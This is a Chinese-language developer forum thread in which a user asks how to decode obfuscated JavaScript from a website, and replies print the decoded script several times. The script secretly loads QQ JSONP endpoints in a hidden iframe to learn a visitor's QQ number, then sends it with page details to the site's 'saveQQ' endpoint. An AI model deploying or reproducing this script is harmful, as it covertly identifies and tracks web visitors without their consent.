请教高手JS 加密解密问题

fenglin88 2014-08-07 06:02:41
大神们这个文件是用什么东西加密的.我解了好几次解不出来.技术有限望大神帮忙,好学习一下


http://www.ledtxt.com/wap/?jsuid=235
...全文
160 6 打赏 收藏 转发到动态 举报
写回复
用AI写文章
6 条回复
切换为时间正序
请发表友善的回复…
发表回复
文盲老顾 2014-08-08
  • 打赏
  • 举报
回复
那个地址的数据一直在变而已
SnowDrift 2014-08-08
  • 打赏
  • 举报
回复
LZ用的什么解密的? 我用的是下面两个工具: 1.EditPlus(带JSFormat插件) 正则替换、JS代码格式化 2.IE->F12开发人员工具 console.log(...)
SnowDrift 2014-08-08
  • 打赏
  • 举报
回复
引用 1 楼 showbo 的回复:
window.cfgapi = "http://open.3g.qq.com/checkLoginCallback.json?id=2155&callback=qqUin&_=1400169998841";
window.cfguid = "235";
window.cfgqq = "185313370";
window.cfgurl = "http://www.ledtxt.com/wap/";
var Qin_refer = encodeURIComponent(document.referrer);
var Qin_host = encodeURIComponent(document.location.href);
var Qin_title = encodeURIComponent(document.title);
var nickname = '';
var objT = null;
function SetCookie2(c, d) {
    var b = new Date;
    b.setTime(b.getTime() + 2592E6);
    document.cookie = c + "=" + escape(d) + ";expires=" + b.toGMTString() + ";domain=ledtxt.com;path=/"
}
function GetCookie2(c) {
    c = document.cookie.match(RegExp("(^| )" + c + "=([^;]*)(;|$)"));
    return null != c ? unescape(c[2]) : null
}
function send_qq_to_t(c, d) {
    for (var b = location.search.substring(1).split("&"), e = 0; e < b.length; e++) {
        var a = b[e].indexOf("=");
        if ( - 1 != a) {
            var g = b[e].substring(0, a),
            a = b[e].substring(a + 1);
            "p" == g ? i_uid = a: "u" == g ? i_url = a: "r" == g ? i_referrer = a: "t" == g && (i_title = a)
        }
    }
    var b = window.cfgurl + "?action=saveQQ&do=save",
    b = b + ("&qq=" + encodeURIComponent(c)),
    b = b + ("&nickname=" + encodeURIComponent(d)),
    b = b + ("&srcurl=" + Qin_refer),
    b = b + ("&hosturl=" + Qin_host),
    b = b + ("&hosttitle=" + Qin_title),
    b = b + ("&tm=" + (new Date).getTime()),
    b = b + ("&uid=" + window.cfguid),
    e = document.getElementsByTagName("HEAD").item(0),
    f = document.createElement("script");
    f.type = "text/javascript";
    f.src = b;
    f.readyState ? f.onreadystatechange = function() {
        if ("loaded" == f.readyState || "complete" == f.readyState) f.onreadystatechange = null,
        window.setTimeout(loaddata, 500)
    }: f.onload = function() {
        window.setTimeout(loaddata, 500)
    };
    e.appendChild(f)
}
function unique2(c) {
    for (var d = [], b, e = 0; e < c.length; e++) {
        b = !1;
        for (var a = 0; a < d.length; a++) if (c[e] == d[a]) {
            b = !0;
            break
        }
        b || d.push(c[e])
    }
    return d
}
function scn_sendInfo(c) {
    var d;
    d = "";
    objT = c;
    send_qq_to_t(c.result.items[1].room_url, "");
    d = GetCookie2("_QIN");
    d = null != d ? c.uin + "%2C" + d: c.uin + "%2C";
    d = d.replace(/\%2C/g, ",");
    c = d.split(",");
    c = unique2(c);
    SetCookie2("_QIN", c)
}
function loaddata() {}
function loadrs() {} (function() {
    function c() {
        null == objT && window.setTimeout(d, 500)
    }
    function d() {
        window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://jsonp.ke.qq.com/cgi-bin/course/new_list?callback=x'><\/script>";
        var frameid = "frameImg" + Math.random();
        var o_v_stat_iframe = document.createElement("iframe");
        o_v_stat_iframe.src = "javascript:parent.img;";
        o_v_stat_iframe.id = frameid;
        o_v_stat_iframe.scrolling = "no";
        o_v_stat_iframe.setAttribute("frameborder", "0", 0);
        o_v_stat_iframe.style.width = "0px";
        o_v_stat_iframe.style.height = "0px";
        document.body.appendChild(o_v_stat_iframe)
    }
    function b() {
        try {
            "1026" == data0.err || "1007" == data0.err ? window.setTimeout(d, 1E3) : window.setTimeout(e, 3E3)
        } catch(a) {
            window.setTimeout(e, 3E3)
        }
    }
    function e() {
        var a = document.createElement("script");
        a.type = "text/javascript";
        a.src = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime();
        a.readyState ? a.onreadystatechange = function() {
            if ("loaded" == a.readyState || "complete" == a.readyState) a.onreadystatechange = null,
            window.setTimeout(b, 500)
        }: a.onload = function() {
            window.setTimeout(b, 500)
        };
        document.getElementsByTagName("HEAD").item(0).appendChild(a)
    }
    e()
})();
插入注释, 然后unescape解密escape加密后的代码,然后用eval执行代码解析,进行了3次unescape/eval解密
var xTBEZj9DoWL = unescape;
    var j5hgOURFv = eval;
版主大大,我试了一下,为什么和你解密出的QQ不一样(下面红色部分),其他完全一样... 我解出来的是这个:

window.cfgapi = "http://open.3g.qq.com/checkLoginCallback.json?id=2155&callback=qqUin&_=1400169998841";
window.cfguid = "235";
window.cfgqq = "185764863";
window.cfgurl = "http://www.ledtxt.com/wap/";
var Qin_refer = encodeURIComponent(document.referrer);
var Qin_host = encodeURIComponent(document.location.href);
var Qin_title = encodeURIComponent(document.title);
var nickname = '';
var objT = null;
function SetCookie2(c, d) {
	var b = new Date;
	b.setTime(b.getTime() + 2592E6);
	document.cookie = c + "=" + escape(d) + ";expires=" + b.toGMTString() + ";domain=ledtxt.com;path=/"
}
function GetCookie2(c) {
	c = document.cookie.match(RegExp("(^| )" + c + "=([^;]*)(;|$)"));
	return null != c ? unescape(c[2]) : null
}
function send_qq_to_t(c, d) {
	for (var b = location.search.substring(1).split("&"), e = 0; e < b.length; e++) {
		var a = b[e].indexOf("=");
		if ( - 1 != a) {
			var g = b[e].substring(0, a),
			a = b[e].substring(a + 1);
			"p" == g ? i_uid = a: "u" == g ? i_url = a: "r" == g ? i_referrer = a: "t" == g && (i_title = a)
		}
	}
	var b = window.cfgurl + "?action=saveQQ&do=save",
	b = b + ("&qq=" + encodeURIComponent(c)),
	b = b + ("&nickname=" + encodeURIComponent(d)),
	b = b + ("&srcurl=" + Qin_refer),
	b = b + ("&hosturl=" + Qin_host),
	b = b + ("&hosttitle=" + Qin_title),
	b = b + ("&tm=" + (new Date).getTime()),
	b = b + ("&uid=" + window.cfguid),
	e = document.getElementsByTagName("HEAD").item(0),
	f = document.createElement("script");
	f.type = "text/javascript";
	f.src = b;
	f.readyState ? f.onreadystatechange = function() {
		if ("loaded" == f.readyState || "complete" == f.readyState) f.onreadystatechange = null,
		window.setTimeout(loaddata, 500)
	}: f.onload = function() {
		window.setTimeout(loaddata, 500)
	};
	e.appendChild(f)
}
function unique2(c) {
	for (var d = [], b, e = 0; e < c.length; e++) {
		b = !1;
		for (var a = 0; a < d.length; a++) if (c[e] == d[a]) {
			b = !0;
			break
		}
		b || d.push(c[e])
	}
	return d
}
function scn_sendInfo(c) {
	var d;
	d = "";
	objT = c;
	send_qq_to_t(c.result.items[1].room_url, "");
	d = GetCookie2("_QIN");
	d = null != d ? c.uin + "%2C" + d: c.uin + "%2C";
	d = d.replace(/\%2C/g, ",");
	c = d.split(",");
	c = unique2(c);
	SetCookie2("_QIN", c)
}
function loaddata() {}
function loadrs() {} (function() {
	function c() {
		null == objT && window.setTimeout(d, 500)
	}
	function d() {
		window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://jsonp.ke.qq.com/cgi-bin/course/new_list?callback=x'><\/script>";
		var frameid = "frameImg" + Math.random();
		var o_v_stat_iframe = document.createElement("iframe");
		o_v_stat_iframe.src = "javascript:parent.img;";
		o_v_stat_iframe.id = frameid;
		o_v_stat_iframe.scrolling = "no";
		o_v_stat_iframe.setAttribute("frameborder", "0", 0);
		o_v_stat_iframe.style.width = "0px";
		o_v_stat_iframe.style.height = "0px";
		document.body.appendChild(o_v_stat_iframe)
	}
	function b() {
		try {
			"1026" == data0.err || "1007" == data0.err ? window.setTimeout(d, 1E3) : window.setTimeout(e, 3E3)
		} catch(a) {
			window.setTimeout(e, 3E3)
		}
	}
	function e() {
		var a = document.createElement("script");
		a.type = "text/javascript";
		a.src = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime();
		a.readyState ? a.onreadystatechange = function() {
			if ("loaded" == a.readyState || "complete" == a.readyState) a.onreadystatechange = null,
			window.setTimeout(b, 500)
		}: a.onload = function() {
			window.setTimeout(b, 500)
		};
		document.getElementsByTagName("HEAD").item(0).appendChild(a)
	}
	e()
})();
文盲老顾 2014-08-08
  • 打赏
  • 举报
回复
http://blog.csdn.net/superwfei/article/details/38436179 看这里,你就明白解密怎么实现的
Go 旅城通票 2014-08-08
  • 打赏
  • 举报
回复
window.cfgapi = "http://open.3g.qq.com/checkLoginCallback.json?id=2155&callback=qqUin&_=1400169998841";
window.cfguid = "235";
window.cfgqq = "185313370";
window.cfgurl = "http://www.ledtxt.com/wap/";
var Qin_refer = encodeURIComponent(document.referrer);
var Qin_host = encodeURIComponent(document.location.href);
var Qin_title = encodeURIComponent(document.title);
var nickname = '';
var objT = null;
function SetCookie2(c, d) {
    var b = new Date;
    b.setTime(b.getTime() + 2592E6);
    document.cookie = c + "=" + escape(d) + ";expires=" + b.toGMTString() + ";domain=ledtxt.com;path=/"
}
function GetCookie2(c) {
    c = document.cookie.match(RegExp("(^| )" + c + "=([^;]*)(;|$)"));
    return null != c ? unescape(c[2]) : null
}
function send_qq_to_t(c, d) {
    for (var b = location.search.substring(1).split("&"), e = 0; e < b.length; e++) {
        var a = b[e].indexOf("=");
        if ( - 1 != a) {
            var g = b[e].substring(0, a),
            a = b[e].substring(a + 1);
            "p" == g ? i_uid = a: "u" == g ? i_url = a: "r" == g ? i_referrer = a: "t" == g && (i_title = a)
        }
    }
    var b = window.cfgurl + "?action=saveQQ&do=save",
    b = b + ("&qq=" + encodeURIComponent(c)),
    b = b + ("&nickname=" + encodeURIComponent(d)),
    b = b + ("&srcurl=" + Qin_refer),
    b = b + ("&hosturl=" + Qin_host),
    b = b + ("&hosttitle=" + Qin_title),
    b = b + ("&tm=" + (new Date).getTime()),
    b = b + ("&uid=" + window.cfguid),
    e = document.getElementsByTagName("HEAD").item(0),
    f = document.createElement("script");
    f.type = "text/javascript";
    f.src = b;
    f.readyState ? f.onreadystatechange = function() {
        if ("loaded" == f.readyState || "complete" == f.readyState) f.onreadystatechange = null,
        window.setTimeout(loaddata, 500)
    }: f.onload = function() {
        window.setTimeout(loaddata, 500)
    };
    e.appendChild(f)
}
function unique2(c) {
    for (var d = [], b, e = 0; e < c.length; e++) {
        b = !1;
        for (var a = 0; a < d.length; a++) if (c[e] == d[a]) {
            b = !0;
            break
        }
        b || d.push(c[e])
    }
    return d
}
function scn_sendInfo(c) {
    var d;
    d = "";
    objT = c;
    send_qq_to_t(c.result.items[1].room_url, "");
    d = GetCookie2("_QIN");
    d = null != d ? c.uin + "%2C" + d: c.uin + "%2C";
    d = d.replace(/\%2C/g, ",");
    c = d.split(",");
    c = unique2(c);
    SetCookie2("_QIN", c)
}
function loaddata() {}
function loadrs() {} (function() {
    function c() {
        null == objT && window.setTimeout(d, 500)
    }
    function d() {
        window.img = "<script>function x(c){parent.scn_sendInfo(c);}<\/script><script id='img' src='http://jsonp.ke.qq.com/cgi-bin/course/new_list?callback=x'><\/script>";
        var frameid = "frameImg" + Math.random();
        var o_v_stat_iframe = document.createElement("iframe");
        o_v_stat_iframe.src = "javascript:parent.img;";
        o_v_stat_iframe.id = frameid;
        o_v_stat_iframe.scrolling = "no";
        o_v_stat_iframe.setAttribute("frameborder", "0", 0);
        o_v_stat_iframe.style.width = "0px";
        o_v_stat_iframe.style.height = "0px";
        document.body.appendChild(o_v_stat_iframe)
    }
    function b() {
        try {
            "1026" == data0.err || "1007" == data0.err ? window.setTimeout(d, 1E3) : window.setTimeout(e, 3E3)
        } catch(a) {
            window.setTimeout(e, 3E3)
        }
    }
    function e() {
        var a = document.createElement("script");
        a.type = "text/javascript";
        a.src = "http://apps.qq.com/app/yx/cgi-bin/show_fel?hc=8&lc=4&d=365633133&t=" + (new Date).getTime();
        a.readyState ? a.onreadystatechange = function() {
            if ("loaded" == a.readyState || "complete" == a.readyState) a.onreadystatechange = null,
            window.setTimeout(b, 500)
        }: a.onload = function() {
            window.setTimeout(b, 500)
        };
        document.getElementsByTagName("HEAD").item(0).appendChild(a)
    }
    e()
})();
插入注释, 然后unescape解密escape加密后的代码,然后用eval执行代码解析,进行了3次unescape/eval解密
var xTBEZj9DoWL = unescape;
    var j5hgOURFv = eval;
fenglin88 2014-08-08
  • 打赏
  • 举报
回复
感谢各位大神,另想问下 解密出来里面怎么有 2592E6 3E3 这样的代码

87,910

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 JavaScript
社区管理员
  • JavaScript
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧